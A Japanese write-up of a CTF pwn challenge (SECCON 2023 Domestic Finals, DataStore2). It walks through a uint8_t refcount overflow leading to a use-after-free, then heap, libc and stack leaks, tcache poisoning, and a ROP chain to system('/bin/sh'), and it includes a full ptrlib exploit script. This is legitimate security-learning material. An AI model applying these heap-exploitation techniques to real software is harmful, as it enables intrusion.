はじめに
SECCON CTF 2023 Domestic FinalsにTSGから参加していました。結果は8位でした。PwnのDataStore2を解くことができたので、そのWriteupです。Domestic限定ではありますが人生初のFirst Bloodで、尚且つ、競技時間中に初めて高難度のPwnを解くことができたのでめちゃくちゃ嬉しかったです。
簡単に時系列で追っていこうと思います。
競技開始
競技開始してすぐ各問題をダウンロードしてtarで全体を固め、CTFNoteに問題をimportしました。
最初に取り掛かったのはWkNoteでした。前日にvagrantのWin11のBoxをダウンロードしておくようアナウンスがあったので期待していたのですが、期待通りWindows Kernel Exploitの問題でした。
しかし、Macのvagrantのpluginにはwinrmとwinrm-elevatedが存在せず、代わりにvagrant-winrmというものがあるけれども、配られたVagrantfileを単にvagrant upするだけではVMは起動するもののエラーが出てうまくいきませんでした。
色々やってみても微妙だったのでLinuxのGUIの環境を入れてそこにVagrantを入れて実行しようとしたのですが、たまたま持っていたUbuntuのISOでは謎にVMware上で仮想環境を作成できなかったので、とりあえず一旦保留して別の問題を見ることにしました。競技中の環境構築できないがち。ここまで、1時間くらい溶かしてしまいました。
一旦落ち着いて問題セットを見てみることに。babyheapはpascal、bombermanはC++、elkはJS問とあって必然的にDataStore2を解くしかないと気づきます。パッと見heap問ぽくてかなり不安でした。
DataStore2
そもそも2とあるので1が存在するはずなんですが調べるという頭がなく。SECCON CTF 2023 QualsはRev関連を解いていたので気づきませんでしたが、QualsにDataStore1が出ていたんですね。Diffを調べればコードの把握の時間を短縮できたと思うので、反省ポイントです。
DataStoreとあるようにSTRING
, UINT
, FLOAT
のデータを保存できるというプログラムです。それらのデータはROOTに直接保存できるだけでなく、ARRAY
に格納できます。ARRAY
は8個の要素を取ることができ、データを保存できるだけでなく、ARRAY
をその要素とすることができます。つまりファイルシステムに似た構造で、例えるならばディレクトリがARRAY
で、ファイルがSTRING
, UINT
, FLOAT
です。
これらは下に示す構造体などで実装されています。
structure
typedef enum { TYPE_EMPTY = 0, TYPE_ARRAY = 0xfeed0001, TYPE_STRING, TYPE_UINT, TYPE_FLOAT, } type_t; typedef struct { type_t type; union { struct Array *p_arr; struct String *p_str; uint64_t v_uint; double v_float; }; } data_t; typedef struct Array { size_t count; data_t data[]; } arr_t; typedef struct String { uint8_t ref; size_t size; char *content; } str_t;
arr_t
はARRAY
を管理する構造体で、要素の数count
とそのcount
と同じ長さのdata_t
の配列を持っています。str_t
はSTRING
を管理する構造体で、リファレンスカウントのref
と文字列のsize
、そして文字列へのポインタであるcontent
を持っています。data_t
はデータのtype
の他に、ARRAY
とSTRING
の場合はそれぞれarr_t
、str_t
の構造体へのポインタを、UINT
とFLOAT
の場合は即値v_uint
、v_float
をそれぞれ格納しています。
脆弱性
存在する各関数を隈なく読んで、入力を扱う部分に脆弱性がないかな〜と探して2時間が経ち、remove_recursive関数
の中でSTRING
が削除される時にstr_t->content
であったポインタがNULLクリアされていないなぁと気づきます。さらにSTRING
を削除する時、そのref
が0になった場合は他に同じstr_t
を参照しているデータが存在しないということでstr_t->content
とstr_t
をfreeするわけですが、ref
の型はuint8_tなので256以上の参照でinteger overflowを起こせることに気づきます。よってSTRING
一つをcreateした後に255回copyしてinteger overflowでref
を1にし、そのSTRING
を一つdeleteすることでUAFを引き起こすことに成功します。
競技後、ptr-yudaiさんは、ref
が存在するということはやっぱりそれ周りで脆弱性があってuint8_tなのでinteger overflowだよねといったことをおっしゃっていましたし、モラさんもinteger overflowはすぐに分かって〜と言っていたのですが、僕は全部を見て検討した上で最後にそれしかねぇとなって見つけたので、脆弱性を見つける勘がまだまだ身についていないなぁという気持ちです。
前述の通りstr_t->content
のポインタがNULLクリアされていないので、UAFでstr_t->content
の残ったポインタ経由でstr_t
に対する文字列の中身の出力を行う(show関数
を実行する)ことで、tcacheのチャンクからheapのアドレスをleakすることができます。
remove_recursive関数
static int remove_recursive(data_t *data){ if(!data) return -1; switch(data->type){ case TYPE_ARRAY: { arr_t *arr = data->p_arr; for(int i=0; i<arr->count; i++) if(remove_recursive(&arr->data[i])) return -1; free(arr); data->p_arr = NULL; } break; case TYPE_STRING: { str_t *str = data->p_str; if(--str->ref < 1){ free(str->content); free(str); } data->p_str = NULL; } break; } data->type = TYPE_EMPTY; return 0; }
AARのprimitive
str_t
とstr_t->content
に対してUAFができる状態です。ここで初出しの情報ですが、STRING
をcreateする時にstr_t->content
のバッファはscanf("%70m[^\n]%*c", &buf);
で取られます。この%m
というのは初めて知った書式指定子なのですが、heapにバッファ用の領域を作ってそこに入力を格納します。そこまではまぁいいのですが、この時はなぜかtcacheからもfastbinsからも取られません。そのため単にstr_t->content
とstr_t
を重ねるといったことはできませんでした。
そこで、str_t
と重ねて悪いことができる構造体はないかなぁと考えると、arr_t
を重ねると嬉しいことが起きるとわかります。str_t
は0x20サイズのtcache binsにつながりますが、count
が1のarr_t
を取ることでstr_t
とarr_t
を重ねられます。そのarr_t
にUINT
を格納するとちょうどstr_t->content
とarr_t->data[0]->v_uint
が重なるので、好きな値をそのv_uint
に入れれば、str_t->content
のポインタとしてその値をアドレスとしてそこに格納されている値を読み出せる、つまりAAR primitiveを得ることができます。
create関数
static int create(data_t *data){ if(!data || data->type != TYPE_EMPTY) return -1; printf("Select type: [a]rray/[v]alue\n" "> "); char t; scanf("%c%*c", &t); if(t == 'a') { printf("input size: "); size_t count = getint(); if(count > 0x8){ puts("too big!"); return -1; } // callocを使っている arr_t *arr = (arr_t*)calloc(1, sizeof(arr_t)+sizeof(data_t)*count); if(!arr) return -1; arr->count = count; data->type = TYPE_ARRAY; data->p_arr = arr; } else { char *buf, *endptr; printf("input value: "); scanf("%70m[^\n]%*c", &buf); if(!buf){ getchar(); return -1; } uint64_t v_uint = strtoull(buf, &endptr, 0); if(!endptr || !*endptr){ data->type = TYPE_UINT; data->v_uint = v_uint; goto fin; } double v_float = strtod(buf, &endptr); if(!endptr || !*endptr){ data->type = TYPE_FLOAT; data->v_float = v_float; goto fin; } str_t *str = (str_t*)malloc(sizeof(str_t)); // ここはmalloc if(!str){ free(buf); return -1; } str->ref = 1; str->size = strlen(buf); str->content = buf; buf = NULL; data->type = TYPE_STRING; data->p_str = str; fin: free(buf); } return 0; }
なお、ここでarr_t
と重ねる際の注意点として、createではcallocが使われているのでtcacheから領域が取られないことに注意です。duplicate_recursive
の方ではmallocで取った後にmemcpyするという実装になっているので、あらかじめcount
が1のarr_t
を作っておいてそれをすることで、mallocによってtcacheからchunkを取ってstr_t
とarr_t
を重ねる必要があります。
duplicate_recursive関数
static int duplicate_recursive(data_t *dst, data_t *src){ if(!src || !dst || dst->type != TYPE_EMPTY) return -1; switch(src->type){ case TYPE_ARRAY: { arr_t *arr = src->p_arr; size_t sz = sizeof(arr_t)+sizeof(data_t)*arr->count; arr_t *new = (arr_t*)malloc(sz); // mallocを使っている if(!new) return -1; memcpy(new, arr, sz); for(int i=0; i<arr->count; i++){ switch(arr->data[i].type){ case TYPE_ARRAY: case TYPE_STRING: new->data[i].type = TYPE_EMPTY; if(duplicate_recursive(&new->data[i], &arr->data[i])) return -1; } } dst->type = TYPE_ARRAY; dst->p_arr = new; } break; case TYPE_STRING: src->p_str->ref++; default: memcpy(dst, src, sizeof(data_t)); } return 0; }
任意アドレスをfreeできるprimitive
AARのprimitiveを得る際にstr_t->content
とarr_t->data[0]->v_uint
が重なることを使いましたが、ここで重ねる際にarr_t->count
が1で初期化されるが故にstr_t->ref
も1となっているので、そのstr_t
を使っているSTRINGのデータ(256個のどれか)をdeleteすることで、str_t->content
の指す先を再びfreeすることができます。v_uint
には任意の値を入れることができるので、任意のアドレス先をfreeすることができます。
この任意アドレスをfreeできるprimitiveは1日目の16:00くらいには手に入っていたと思います。
libcのアドレスをleak
これまでを整理すると、heapのアドレスが手に入っていて、AARと任意のアドレスをfreeできるprimitiveをゲットしている状態です。今思えば何を悩んでいたのかという話ですがここからlibcのアドレスをleakするまでが長かったです。heapのアドレスのみしか知らないので、僕の思いつく限りでは、適切なサイズのチャンクをfreeしてunsorted binsに繋げることでしかlibcのアドレスをheap上に置くことはできないはずです。多分。
このプログラムではunsorted binsに繋げるようなチャンクは存在しないので、heap上に適切なサイズのfake chunkを作ってそれを任意アドレスをfreeできるprimitiveを使ってfreeするということになります。fake chunkの満たすべき条件はサイズの部分が正しく存在するのと、そのサイズ分進んだ先に使われている扱いのchunkが存在することです。このサイズ部分はstr_t->content
への書き込みの時に8byte + p64(size)といった形でheap上に残せます。それをfreeすればchunkはunsorted binsにつながり、AARを使ってlibcのアドレスをleakすることができます。
当日は、unsorted binsを使ったlibc leakの経験が少ないというpwnerにあるまじき理由で、全然このlibc leakができませんでした。1日目の会場を後にして、メンバーで日高屋に入ってから宿に戻るまでずっとlibc leakができねぇとブツブツ言っていました。宿に戻って寝落ちしてから多分0:00くらいに起こしてもらって、そこから再び考えて2日目の1:00くらいにようやくlibc leakができました。
stackのアドレスをleak
libcのアドレスを手に入れられていて、AARのprimitiveが存在するので、environからstackのアドレスをleakできます。
一旦ここまでの整理
必要なアドレスは全て手に入れられています。AARのprimitiveを持っています。任意のアドレスに対してfreeできます。
ここからどうにかRIPを取る必要があります。
tcache posioningに関する検討
まず、str_t
とarr_t
に関する操作とUAFの組み合わせだけで、tcache poisoningは可能か検討しました。tcacheのsafe-linkingポインタはstr_t->ref
とarr_t->count
とかぶっており、好きな値を入れることはできないので、上のprimitiveだけで即tcache poisoningをすることはできません。
[方針1] return addressの付近もしくはlibcのGOTやFILE structureの存在する部分にstr_t->content
を取る。
arr_t
と違って、str_t->content
には自由な書き込みができます。よってこの入力用のバッファを書き換えたい領域に被せて取れないかを考えました。
しかし、scanf("%70m[^\n]%*c", &buf);
で取られる領域はtcacheからchunkを取ってきません。そこでまず、fastbinsからワンチャン取ってきたりしないかなと考えました。ARRAY
をcreateしてからdeleteすると、arr_t
はcallocで取られてfreeされるので、tcacheを埋めてfastbinsに繋げることができます。fastbinsに対してはA, B, Aという順番で間に一つ別のチャンクを挟めばdouble freeできることが知られています。double freeを起こして、str_t->content
をfastbinsからとることができれば、single linked listのポインタを自由に書き換えて、好きなアドレスにfastbinsのチャンクを確保でき、str_t->content
をそこに続けてとることで、自由に書き換えができるのでは?という狙いです。
実際のところfastbinsのsingle linked listの書き換えをまともにやったことがないので、上の方針がまともなのかどうかもわかりませんが、そもそもscanf("%70m[^\n]%*c", &buf);
はfastbinsからもchunkを取ることはなかったので、前提が崩壊して無理でした。ここで、どうやらscanf("%70m[^\n]%*c", &buf);
はunsorted binsの大きなchunkから小さなchunkを切り出して使っているぞ、ということに気づきます。切り出しに使ったunsorted binsのchunkは適切にresizeされます。
次に、return addressの付近もしくはlibcのGOTやFILE structureの存在する部分にunsorted binsのチャンクを作れないかを考えました。しかし、当然それらの領域にはfake chunkに相応しい状況はなく、何かを書き込むprimitiveは存在しないので、無理筋です。
tcache poisoningのprimitive
方針1の段階で、unsorted binsのchunkからstr_t->content
用の領域が切り出されて確保されることが分かりました。このunsorted binsのチャンクはlibcのアドレスleakに使ったfake chunkで、heap上の自由なところから始められます。つまりfake chunkをtcacheに重ねて取ることで、str_t->content
がそこから取られる時にうまく調整すれば、tcacheの構造を保ったままtcacheのsafe-linkingされたポインタのみを違う値に書き換えられます。つまり、tcache poisoningができます。これにより、libcやstackにarr_t
、str_t
を確保することが可能になります。
[方針2] return addressの付近もしくはlibcのGOTやFILE structureの存在する部分にarr_t
を取り、arr_t
のv_uint
などを駆使してROPやFSOPに繋げる。
tcache poisoningのprimitiveを使うことで、arr_t
をlibcやstackに取ることができます。arr_t
はv_uint
を格納することでlibcやstack領域の一部を好きに書き換えられます。ただし、arr_t
のv_uint
の書き込み時には、TYPE_UINT
の0xfeed0003
がdate_t->type
としてv_uint
の直前に格納されることに注意です。また、v_uint
は16の倍数のアドレスにしか格納できないという制約があります。
最初に考えたことは、libcのGOTを書き換えてRIPを取れないかということですが、少なくともputs関数の中の__strlen_avx2
のGOTは書き換えられなさそうでした。
次に、FSOPを検討しましたが、どうも無理筋だなぁとなります。16の倍数のアドレスにしか書き込めないのと、0xfeed0003
などが書き込まれてしまうという制約がきつすぎて無理そうです。
ROPも考えてみましたが、これも無理そうです。return addressは下1nibbleが8のstackのアドレスに存在するので、v_uint
と重なりません。str_t->ref
も重ならないので、str_t->ref
を被せて++でずらすというのも無理です。v_uint
の場所とchunkのサイズの部分も重ならないので、stack上に適切なchunkサイズとなる値をv_uint
で作って、その領域をfreeしてunsorted binsに繋げるというのも無理筋です。
一方でv_uint
はsaved rbpと重ねることができます。main関数とそのサブルーチンにcanaryが存在しないので、leave retを2回踏むことでstack pivotできないか、というのも検討しました。その時は無理そうと結論付けて別の方法を探しましたが、後でモラさんに聞いたところチーム:(
はその方針で解いたらしいです。一度もっとちゃんと試してみるべきだったなぁと思うなど。かなりの特殊ケースなので、うまくいかないと思ってしまったんですよね。
[方針3] return address付近にarr_t
を取り、別のarr_t
をduplicate_recursive関数
でmemcpyする。
これまで色々試した結果、以下のことが整理できました。2日目の会場に着いて、1時間くらい経った頃にこの整理をやっていたと思います。解けそうで解けないを何回も繰り返しながら時間が過ぎていくだけという状況で焦っていたので、一旦落ち着いて整理しようという気持ちでした。
arr_t
とstr_t
はstackやlibcなどの書き換えたい領域にとれる。str_t->content
はheap上のfake chunkを作れる領域自由に取ることは可能であるが、stackやlibcの領域には絶対に取れなさそう。arr_t
やstr_t
に対する直接の操作では、ROPやFSOPは無理そう。
そこで注目したのが、duplicate_recursive
でARRAY
をコピーする際にmemcpyを使ってarr_t
の内容を別のarr_t
に複製している点です。これに気づいた時に、ああ僕はこの問題解けたんだと思いました。str_t->content
が取れない時点でこのmemcpyしかstack上に制約なしに書き込める方法はないので、気づかなくてはならないことだったと思いますし、気づけて良かったです。
duplicate_recursive関数
static int duplicate_recursive(data_t *dst, data_t *src){ if(!src || !dst || dst->type != TYPE_EMPTY) return -1; switch(src->type){ case TYPE_ARRAY: { arr_t *arr = src->p_arr; size_t sz = sizeof(arr_t)+sizeof(data_t)*arr->count; arr_t *new = (arr_t*)malloc(sz); // mallocを使っている if(!new) return -1; memcpy(new, arr, sz); for(int i=0; i<arr->count; i++){ switch(arr->data[i].type){ case TYPE_ARRAY: case TYPE_STRING: new->data[i].type = TYPE_EMPTY; if(duplicate_recursive(&new->data[i], &arr->data[i])) return -1; } } dst->type = TYPE_ARRAY; dst->p_arr = new; } break; case TYPE_STRING: src->p_str->ref++; default: memcpy(dst, src, sizeof(data_t)); } return 0; }
勿論コピー元のarr_t
は普通のarr_t
に対する操作だけでは好きな値を書き込むことはできませんが、heap上にあるということは、str_t->content
を重ねられます。まず、tcache poisoningを起こした時のように、既存のarr_t
をstr_t->content
と重ね、そこにROPのpayloadを書き込んでおきます。次にtcache poisoningのprimitiveを経由してstack上のreturn addressに重なるようにarr_t
を取ります。そして、duplicate_recursive
でROPのpayloadが置かれているarr_t
の内容をmemcpyで複製すれば、ROPのpayloadをreturn addressのメモリ領域に配置できます。最後はmainからreturnすれば、ROPが発火してシェルを取れます。
exploit.py
from ptrlib import * elf = ELF('./chall') libc = ELF('./libc.so.6') io = process('./chall') #io = remote('datastore2.dom.seccon.games', 7352) #io.debug = True def create_string(indexs=[], data="ABCDEFGH"): for i in range(0, len(indexs)): io.sendlineafter("> ", '1') io.sendlineafter(": ", indexs[i]) io.sendlineafter("> ", '1') io.sendlineafter("> ", 'v') io.sendlineafter(": ", data) return def create_uint(indexs=[], integer=0xdeadbeef): for i in range(0, len(indexs)): io.sendlineafter("> ", '1') io.sendlineafter(": ", str(indexs[i])) io.sendlineafter("> ", '1') io.sendlineafter("> ", 'v') io.sendlineafter(": ", str(integer)) return def create_array(indexs=[], size=8): for i in range(0, len(indexs)): io.sendlineafter("> ", '1') io.sendlineafter(": ", str(indexs[i])) io.sendlineafter("> ", '1') io.sendlineafter("> ", 'a') io.sendlineafter(": ", str(size)) return def delete(indexs=[]): for i in range(0, len(indexs)): io.sendlineafter("> ", '1') io.sendlineafter(": ", str(indexs[i])) io.sendlineafter("> ", '2') return def copy(indexs, dst): # indexs[-1] == src for i in range(0, len(indexs)): io.sendlineafter("> ", '1') io.sendlineafter(": ", str(indexs[i])) io.sendlineafter("> ", '3') io.sendlineafter(": ", str(dst)) return def list(): io.sendlineafter("> ", "2") return fakechunk_size = 0x6b1 def make_256_ref(): # create root array create_array() # create init array create_array(indexs=[0]) create_array(indexs=[0, 0]) create_string([0, 0, 0]) create_string([0, 0, 7], b"FAKESIZE"+p64(fakechunk_size)) for i in range(0, 3): copy([0, 0, 0], i+1) # copy init array (256 ref) for i in range(0, 8-1): copy([0, 0], i+1) for i in range(0, 8-1): copy([0], i+1) return make_256_ref() # add 8 ref copy([1,6,0], 5) copy([1,6,0], 6) copy([1,7,0], 5) copy([1,7,0], 6) copy([2,6,0], 5) copy([2,6,0], 6) copy([2,7,0], 5) copy([2,7,0], 6) # delete 2 array -> uaf delete([0, 7]) delete([0, 2]) # 0x90 tcache bins * 2 # leak heap address list() io.recvuntil("List") io.recvuntil("List") io.recvuntil("<S>") addr = io.recvline() heap_base = u64(addr) <<4 print("[+] heap address leaked") print(hex(heap_base)) # free fake chunk io.recvuntil("MENU") create_array([0, 0, 4], size=1) copy([0, 0, 4], 5) # overlap arr_t on str_t fake_chunk_addr = heap_base + 0x310 create_uint([0, 0, 5, 0], fake_chunk_addr) # str_t->content to fake_chunk_addr delete([0, 0, 3]) # free str_t and str_t->content # leak libc address # (leak in the process of copying an array) io.sendlineafter("> ", '1') io.sendlineafter(": ", '0') io.sendlineafter("> ", '1') io.sendlineafter(": ", '0') io.sendlineafter("> ", '1') io.recvuntil("MENU") io.recvuntil("<S>") addr = io.recvline()[1:] libc.base = u64(addr) - 0x219ce0 print("[+] libc address leaked") print(hex(libc.base)) io.sendlineafter(": ", '4') io.sendlineafter("> ", '3') io.sendlineafter(": ", '6') # copy [0, 0, 4] array to [0, 0, 6] bin_sh_addr = next(libc.find('/bin/sh')) pop_rdi_ret = libc.base + 0x10f2f8 ret_addr = libc.base + 0x1b40b9 system_addr = libc.symbol('system') delete([0, 0, 7]) # leak stack address # (leak in the process of writing ROP payload to [0, 1] arr_t) create_uint([0, 0, 6, 0], libc.symbol('environ')) io.sendlineafter("> ", '1') io.sendlineafter(": ", '0') io.sendlineafter("> ", '1') io.sendlineafter(": ", '0') io.sendlineafter("> ", '1') io.recvuntil("MENU") io.recvuntil("<S>") addr = io.recvline()[1:] return_addr = u64(addr) - 0x120 print("[+] stack address leaked") print(hex(return_addr)) io.sendlineafter(": ", '3') io.sendlineafter("> ", '1') io.sendlineafter("> ", 'v') rop_payload = p64(pop_rdi_ret) rop_payload += p64(bin_sh_addr) rop_payload += p64(ret_addr) rop_payload += p64(system_addr)[:-1] io.sendlineafter(": ", b"ROPPAYLOADWRITE!" + p64(8) + rop_payload) # tcache poisoning payload = b"P" * 0x28 # padding payload += p64(0x91) # tcache size payload += p64(heap_base >> 12 ^ return_addr-8)[:-1] # overwrite safe-linking ptr create_string([0, 0, 7], payload) # use tcache 0x90 copy([0, 6], 2) # allocate arr_t chunk on stack and memcpy rop_payload copy([0, 1], 7) #input() io.sendlineafter("> ", 0) print("[+] pwned!!!") io.recvuntil("Bye.\n") io.interactive()
競技終了まで
DataStore2を通せてFirst Blood嬉しい!という気持ちと、0点で終わらなくて良かったとホッとした気持ちの半々でした。
WkNoteに取り組む時間はなさそうだったので、efsbkとbombermanとbabyheapを見ていました。しかし、何も解けず。途中でDataStore2のタイムアウトを緩めてもいいかという打診があったので、OKしました。タイムアウト自体はexploitの本質?自体には関係なさそうというのと、必要なことは無駄な入力を減らすだけなので打診してきたチームのsolveは遅かれ早かれ出てしまうだろうから、競技終了時の点数には影響しないと思われるのと、何よりarr_t
の制約に悩まされた同志なので。
同じく一つの問題に長時間取り組んでいたjiei氏がmuck-a-macを解いてくれた後、caphosra氏とjiei氏で協力してDLP 4.0を通してくれて競技終了でした。
感想
もっと速く、たくさん解けるようになりたいです。今後はC言語以外のPwn問題にも取り組んでいきたいです。他のWriteupを見る限り、efsbkは解けるべきだったなという気持ちに。個人的にWkNoteとelkとokihaiは、今後優先的にUpSolveしていきたいです。
運営の皆様、会場でお会いできた他のチームの方々ありがとうございました。来年もTSGでFinalsに参加したいと思っています。